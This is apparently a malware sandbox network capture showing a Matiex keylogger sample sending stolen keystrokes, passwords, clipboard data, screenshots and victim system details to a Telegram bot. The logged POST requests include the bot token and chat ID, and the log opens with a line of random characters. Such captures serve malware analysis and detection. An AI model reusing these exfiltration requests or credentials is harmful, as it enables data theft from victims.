^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:08 UTC	4852	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:08 UTC	4868	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:08 UTC	4884	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:08 UTC	4900	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:09 UTC	4911	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:09 GMT Content-Type: application/json Content-Length: 1315 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:09 UTC	4911	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 39 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":306,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507529,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49813	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:09 UTC	4913	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803696e071 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:09 UTC	4913	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 36 39 36 65 30 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803696e071Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:09 UTC	4914	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:09 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:09 UTC	4914	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 39 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":307,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507529,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49814	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:09 UTC	4915	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768036b84068 Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:09 UTC	4915	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 36 62 38 34 30 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768036b84068Content-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:09 UTC	4916	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:09 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:09 UTC	4916	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 39 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":308,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507529,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49788	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:31:59 UTC	3	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768030b76e62 Host: api.telegram.org Content-Length: 749 Connection: Keep-Alive
2021-09-13 04:31:59 UTC	4	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 30 62 37 36 65 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768030b76e62Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:31:59 UTC	4	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:31:59 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:31:59 UTC	5	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 31 39 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":282,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507519,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49815	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:09 UTC	4917	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768036d9a244 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:09 UTC	4917	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 36 64 39 61 32 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768036d9a244Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:10 UTC	4918	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:10 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:10 UTC	4918	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 30 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":309,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507530,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49816	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:10 UTC	4919	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680372ab0ee Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:10 UTC	4920	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 37 32 61 62 30 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d97680372ab0eeContent-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:10 UTC	4936	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:10 UTC	4952	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 